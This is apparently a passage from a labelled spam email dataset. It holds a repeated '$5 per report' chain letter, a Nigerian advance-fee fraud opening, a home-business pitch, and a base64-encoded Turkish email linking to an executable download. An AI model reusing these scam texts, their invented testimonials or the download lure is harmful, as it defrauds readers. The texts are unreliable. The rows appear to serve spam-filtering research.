and the Internet in general with all its hype, as you probably are. Fortunate for me, my main business slowed-down (I have been self-employed all my life), so I looked for something to fit my lifestyle and some other way to assist me in paying my bills, without working myself to death or loosing more money; then, this proposal to try something new without any upfront investment (great! because I had none) interested me to click on the link provided. And I dont regret at all that I did! I am very happy, and happy enough to recommend it to you as a system that is true to its word. I mean absolutely no upfront money. You join only if (when) you make money. You also get to track the results of your time and efforts instantly and updated daily! I especially liked this idea of personal control with real-time, staying informed statistics. This system is quite simply the most logical, opened, and fair of any others that Ive seen before. Why? Because from the start, you get all the specific facts you need to seriously consider if this is right for you. No teasing. No grand testimonies! No kidding! Just the facts! Unlike in other programs that give you no idea of their overall plan before first forking over your money/credit card; or worst yet, joining and finding-out too late, after wasting valuable time trying to figure them out, this system is straightforward and informative, providing you with the two things you really must know: Whats it all about? and How does it work?. These are the ultimate deal makers or deal breakers that need to be immediately disclosed, well before discovering that maybe you dont want to do that; by then you are hooked and now locked into a frustrating battle to try to get your money back! I call this my Platinum Choice because it stands alone as a true, superior deal that is totally different from previously misleading, hook-first programs that promise lofty mega-money jackpots, but really just want your money upfront to line their own pockets! Youve seen the headlines: Join free and Make $10,000 every week for life yeah, right! I did not make millions yet, but the whole thing was launched just a few weeks ago and I am more than happy with my earnings, so far. I must tell you, I wouldnt be able to do anything without corporate help which was unusually thorough, timely, and motivating. You have to see this in action for yourself and make up your own mind; just go to my site and fill out the form as soon as you can. You will get your own site in a few minutes. Then you are ready to try whether you can make some decent money with this system and the Internets explosive potential - fully loaded with hi-tech software, free corporate help, on-time members support and even protective safeguards! Get it now, and you can call me at any time with questions. It really could help you like it is helping me to finally be able to pay my bills, and keep my free time free. Good luck! http://www.mindupmerchants.com/default.asp?ID=5581 Ben Green, (775) 322-3323 P.S.Free POP3 email is ofered for members now! ------000000000000000000000--",1,1 Isa Aydogan ,,"Sat, 14 Sep 2002 10:49:08 -0400",Yeni srmde,"PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NCI+DQo8dGl0bGU+U01TVFIgbGls aHdtdXh2cnN5cWN3amh2dHR4dzwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+PHA+PGZvbnQgZmFj ZT0iQXJpYWwiIHNpemU9IjQiPkRlZ2VybGkgU01TVFIga3VsbGFuaWNpbWl6PGJyPg0KPGh0 bWw+DQpTTVMgcHJvZ3JhbWltaXog52VzaXRsaSBha3Nha2xpa2xhciBzZWJlYmkgaWxlIGt1 bGxhbmlsYW1heiBoYWxlIGdlbG1pc3Rpci4gQnUgDQpzZWJlcHRlbiBkb2xheWkgeWVuaSBi aXIgcHJvZ3JhbSBoYXppcmxhbWFrIHpvcnVuZGEga2FsZGlrLiBQcm9ncmFtaSBhc2FnaWRh a2kgbGlua2kgDQprdWxsYW5hcmFrIGluZGlyZWJpbGlyc2luaXouIFByb2dyYW1pIGJpeiB2 aXL8cyBrb250cm9s/G5kZW4gZ2XnaXJtaXMgYnVsdW5tYWt0YXlpei4NCkJ1IHllbmkgdmVy c2l5b25kYSBzbXMgaW4geWVyaW5lIHVsYXNtYSBoaXppIOdvayBkYWhhIGFydGlyaWxtaXN0 aXIuIEF5cmljYSBzaW5pcnNpeiANCnZlIHRvcGx1IHNtcyBn9m5kZXJlYmlsaXJzaW5pei4g x29rIHlha2luZGEgbG9nbyB2ZSBtZWxvZGkgdHJhbnNmZXJpIGhpem1ldGltaXogDQphY2ls YWNha3Rpci4gU2l6aSBiaXIgc3VyZSBzaW5pcnNpeiBzbXNkZW4gbWFocnVtIGV0dGlnaW1p eiBpY2luIG96dXIgDQpkaWxlcml6LjwvZm9udD48YnI+DQo8YnI+PGZvbnQgZmFjZT0iQXJp YWwiIHNpemU9IjQiPjxhIGhyZWY9Imh0dHA6Ly93d3cuZ2FyYW50aXNtcy5jb20vc21zdHIu ZXhlIj5TTVNUUg0KVmVyc2l5b24gNy4zIHUgaW5kaXJtZWsgaedpbiBidXJheWEgdGlrbGF5 aW5pejwvYT48L2ZvbnQ+PC9wPg0KPC9ib2R5Pg0KPC9odG1sPg0KDQo=",1,0 """Synteligent Properties"" ",ports@FreeBSD.ORG,"Sat, 14 Sep 2002 13:36:40",Still looking for a house?,"My name is Jeremy Lessaris. I'm looking for investment properties in the Midwest. The issue I've been having is that not every everyone deals with the properties I'm looking for. You know the houses that you are almost sure will not sell; maybe they're really ugly or need a lot of work or are in a bad neighborhood. But for what ever reason, the houses just don't sell. I need those houses... Most of the agents I've dealt with were hesitant because there isn't much of a return for what time and effort you invest. However, the private investors I work with use ""unconventional"" private funding so we both can avoid long drawn out loan approvals. In fact most cases we just pay cash and close in a week. I am pre-qualified with Greentree Funding for up to $900,000 for a purchase money mortgage based on a non-owner occupied loan at 90% LTV. (And of course you get your full commission.) I'm not a licensed real estate agent nor am I affiliated with any real estate firm, which means I can work with you just about any way you want. Please don't be under the impression that we have to pay under market value to be interested. Sometimes I can even pay retail price. The only guarantee I'll make is that I will not waste your time, and in most cases I can tell you over the phone whether I'm interested or not. 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ATTN:, First, I must solicit your strictest confidence in this transaction, this is by virtue of its nature as being utterly confidential and top secret as you were introduced to me in confidence through the Nigeria Chamber of Commerce and Industries. We are top officials from the Federal Ministry of Works and Housing,(FMW&H), Federal Ministry of Finance and the Presidency, making up the Contract Review Panel(CRP) set up by the Federal Government of Nigeria to review contracts awarded by the past military administration. In the course of our work on the CRP, we discovered this fund which resulted from grossly over - invoiced contracts which were executed for the FMW&H during the last administration.The companies that executed the contracts have been duly paid and the contracts commissioned leaving the sum of US$21.4 Million floating in the escrow account of the Central Bank of Nigeria ready for payment. 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More testimonials later but first, ======= ==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ==== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: =====Order all 5 reports shown on the list below ===== For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. ===WHEN YOU PLACE YOUR ORDER, MAKE SURE === ===YOU ORDER EACH OF THE 5 REPORTS! === You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00. Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in steps 1 through 6 or you will lose out on the majority of your profits. Once you understand the way this works, you will also see how it will not work if you change it. Remember, this method has been tested, and if you alter it, it will NOT work!!! People have tried to put their friends'/relatives' names on all five thinking they could get all the money. But it does not work this way. Believe us, some have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! This IS a legitimate BUSINESS. You are offering a product for sale and getting paid for it. Treat it as such and you will be VERY profitable in a short period of time. 1.. After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.. Move the name & address in REPORT # 4 down TO REPORT # 5. 3.. Move the name & address in REPORT # 3 down TO REPORT # 4. 4.. Move the name & address in REPORT # 2 down TO REPORT # 3. 5.. Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! This is critical to YOUR success. ================================================== **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you lose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ================================================== Let's say that you decide to start small, just to see how it goes, and we will assume you and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receives only a 0.2% (2/10 of 1%) response (the response could be much better but let's just say it is only 0.2%). Also many people will send out hundreds of thousands of e-mails instead of only 5,000 each. Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's 100 people who responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response is 10,000 orders for Report # 4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars). Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! ================================================== REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000 e-mails each or more? There are over 150 million people on the internet worldwide and counting, with thousands more coming online every day. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET ================================================== Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they cannot advertise until they receive the report. ===========AVAILABLE REPORTS ==================== The reason for the ""cash"" is not because this is illegal or somehow ""wrong"". It is simply about time. Time for checks or credit cards to be cleared or approved, etc. Concealing it is simply so no one can SEE there is money in the envelope and steal it before it gets to you. ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ================================================== REPORT # 1: ""The Insider's Guide To Advertising for Free On The Net"" Order Report #: 1 from Rui Sousa Santos P.O. Box 132 Taylors Lakes VIC 3038 Australia ______________________________________________________ REPORT # 2: ""The Insider's Guide To Sending Bulk Email On The Net"" Order Report # 2 from: Richard Moulton P.O. Box 82 Hot Springs,MT 59845 USA ___________________________________________________ REPORT # 3: ""Secret To Multilevel Marketing On The Net"" Order Report # 3 from: J.siden krondikesvgen 54 A 83147 stersund Sweden _____________________________________________________ REPORT # 4: ""How To Become A Millionaire Using MLM & The Net"" Order Report # 4 from: Francis Kidd P.O. Box 209 Homestead,PA 15120 USA __________________________________________________ REPORT # 5: ""How To Send Out One Million Emails For Free"" Order Report # 5 From: M.J. Lee P.O. Box 19 52 Victoria Drive London SW19 6BD United Kingdom ______________________________________________________ $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you do not, continue advertising or sending e-mails until you do. ** Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ================================================= FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 .....# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! =============MORE TESTIMONIALS=============== ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving 'junk mail'. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I 'knew' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old 'I told you so' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ......... all cash! I was shocked. I have joined Jody in her 'hobby'."" Mitchell Wolf M.D., Chicago, Illinois ================================================ ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative as I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big."" Dan Sondstrom, Alberta, Canada ================================================= ""I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......... 11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks."" Susan De Suza, New York, N.Y. ================================================= ""It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20, in the 2nd month I made $560.00 and by the end of the third month my total cash count was $362,840.00. Life is beautiful, Thanx to internet."" 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Due to the popularity of this letter on the internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ""absolutely NO laws prohibiting the participation in the program and if people can 'follow the simple instructions' they are bound to make some mega bucks with only $25 out of pocket cost"". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: ""Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received a total $610,470.00 in 21 weeks, with money still coming in."" Pam Hedland, Fort Lee, New Jersey. ================================================== Another said: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything."" More testimonials later but first, ======= ==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ==== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: =====Order all 5 reports shown on the list below ===== For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. ===WHEN YOU PLACE YOUR ORDER, MAKE SURE === ===YOU ORDER EACH OF THE 5 REPORTS! === You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00. Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in steps 1 through 6 or you will lose out on the majority of your profits. Once you understand the way this works, you will also see how it will not work if you change it. Remember, this method has been tested, and if you alter it, it will NOT work!!! People have tried to put their friends'/relatives' names on all five thinking they could get all the money. But it does not work this way. Believe us, some have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! This IS a legitimate BUSINESS. You are offering a product for sale and getting paid for it. Treat it as such and you will be VERY profitable in a short period of time. 1.. After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.. Move the name & address in REPORT # 4 down TO REPORT # 5. 3.. Move the name & address in REPORT # 3 down TO REPORT # 4. 4.. Move the name & address in REPORT # 2 down TO REPORT # 3. 5.. Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! This is critical to YOUR success. ================================================== **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you lose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ================================================== Let's say that you decide to start small, just to see how it goes, and we will assume you and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receives only a 0.2% (2/10 of 1%) response (the response could be much better but let's just say it is only 0.2%). Also many people will send out hundreds of thousands of e-mails instead of only 5,000 each. Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's 100 people who responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response is 10,000 orders for Report # 4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars). Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! ================================================== REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000 e-mails each or more? There are over 150 million people on the internet worldwide and counting, with thousands more coming online every day. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET ================================================== Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they cannot advertise until they receive the report. ===========AVAILABLE REPORTS ==================== The reason for the ""cash"" is not because this is illegal or somehow ""wrong"". It is simply about time. Time for checks or credit cards to be cleared or approved, etc. Concealing it is simply so no one can SEE there is money in the envelope and steal it before it gets to you. ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ================================================== REPORT # 1: ""The Insider's Guide To Advertising for Free On The Net"" Order Report #1 from: Robert Borowczyk ul. J. Olbrachta 118C m. 28 01-373 Warsaw Poland ______________________________________________________ REPORT # 2: ""The Insider's Guide To Sending Bulk Email On The Net"" Order Report # 2 from: Mohammad Faraziyan Engelbertstr. 25 40233 Dsseldorf Germany ______________________________________________________ REPORT # 3: ""Secret To Multilevel Marketing On The Net"" Order Report # 3 from: Luis Pastor Apartado 81 48080 Bilbao Spain ______________________________________________________ REPORT # 4: ""How To Become A Millionaire Using MLM & The Net"" Order Report # 4 from: Ali Reza Auf den Holln 68 44894 Bochum Germany ______________________________________________________ REPORT # 5: ""How To Send Out One Million Emails For Free"" Order Report # 5 From: J.siden krondikesvgen 54 A 83147 stersund Sweden ______________________________________________________ $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you do not, continue advertising or sending e-mails until you do. ** Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ================================================= FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 .....# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! =============MORE TESTIMONIALS=============== ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving 'junk mail'. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I 'knew' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old 'I told you so' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ......... all cash! I was shocked. I have joined Jody in her 'hobby'."" Mitchell Wolf M.D., Chicago, Illinois ================================================ ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative as I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big."" Dan Sondstrom, Alberta, Canada ================================================= ""I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......... 11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks."" Susan De Suza, New York, N.Y. ================================================= ""It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20, in the 2nd month I made $560.00 and by the end of the third month my total cash count was $362,840.00. Life is beautiful, Thanx to internet."" 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List maintainer: listmaster@linux.ie",1,1 """Robert@home-based-business.de"" ",zzzz@spamassassin.taint.org,"Sun, 22 Sep 2002 22:32:08 +0200",Earn 100.000$ in one year working at home,"Hello You may have seen this business before and ignored it. I know I did - many times! However, please take a few moments to read this letter. I was amazed when the profit potential of this business finally sunk in... and it works! With easy-to-use e-mail tools and opt-in e-mail, success in this business is now fast, easy and well within the capabilities of ordinary people who know little about internet marketing. And the earnings potential is truly staggering! I'll make you a promise. READ THIS E-MAIL TO THE END! - follow what it says to the letter - and you will not worry whether a RECESSION is coming or not, who is President, or whether you keep your current job or not. Yes, I know what you are thinking. I never responded to one of these before either. One day though, something just said: ""You throw away $25.00 going to a movie for 2 hours with your wife. What the heck."" Believe me, no matter where you believe those ""feelings"" come from, I thank every day that I had that feeling. I cannot imagine where I would be or what I would be doing had I not. Read on. It's true. Every word of it. It is legal. I checked. Simply because you are buying and selling something of value. AS SEEN ON NATIONAL TV: Making over half a million dollars every 4 to 5 months from your home. THANKS TO THE COMPUTER AGE AND THE INTERNET! ================================================== BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! Before you say ""Bull"", please read the following. This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the internet, a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are ""absolutely NO laws prohibiting the participation in the program and if people can 'follow the simple instructions' they are bound to make some mega bucks with only $25 out of pocket cost"". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: ""Thanks to this profitable opportunity. I was approached many times before but each time I passed on it. I am so glad I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment, I received a total $610,470.00 in 21 weeks, with money still coming in."" Pam Hedland, Fort Lee, New Jersey. ================================================== Another said: ""This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and walaa ..... 3 weeks later the money started to come in. First month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything."" More testimonials later but first, ======= ==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ==== $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: =====Order all 5 reports shown on the list below ===== For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. ===WHEN YOU PLACE YOUR ORDER, MAKE SURE === ===YOU ORDER EACH OF THE 5 REPORTS! === You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00. Within a few days you will receive, via e-mail, each of the 5 reports from these 5 different individuals. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you. Also make a floppy of these reports and keep it on your desk in case something happens to your computer. IMPORTANT - DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than what is instructed below in steps 1 through 6 or you will lose out on the majority of your profits. Once you understand the way this works, you will also see how it will not work if you change it. Remember, this method has been tested, and if you alter it, it will NOT work!!! People have tried to put their friends'/relatives' names on all five thinking they could get all the money. But it does not work this way. Believe us, some have tried to be greedy and then nothing happened. So Do Not try to change anything other than what is instructed. Because if you do, it will not work for you. Remember, honesty reaps the reward!!! This IS a legitimate BUSINESS. You are offering a product for sale and getting paid for it. Treat it as such and you will be VERY profitable in a short period of time. 1.. After you have ordered all 5 reports, take this advertisement and REMOVE the name & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.. Move the name & address in REPORT # 4 down TO REPORT # 5. 3.. Move the name & address in REPORT # 3 down TO REPORT # 4. 4.. Move the name & address in REPORT # 2 down TO REPORT # 3. 5.. Move the name & address in REPORT # 1 down TO REPORT # 2 6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE you copy every name & address ACCURATELY! This is critical to YOUR success. ================================================== **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you lose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAIL LEGALLY ================================================== Let's say that you decide to start small, just to see how it goes, and we will assume you and those involved send out only 5,000 e-mails each. 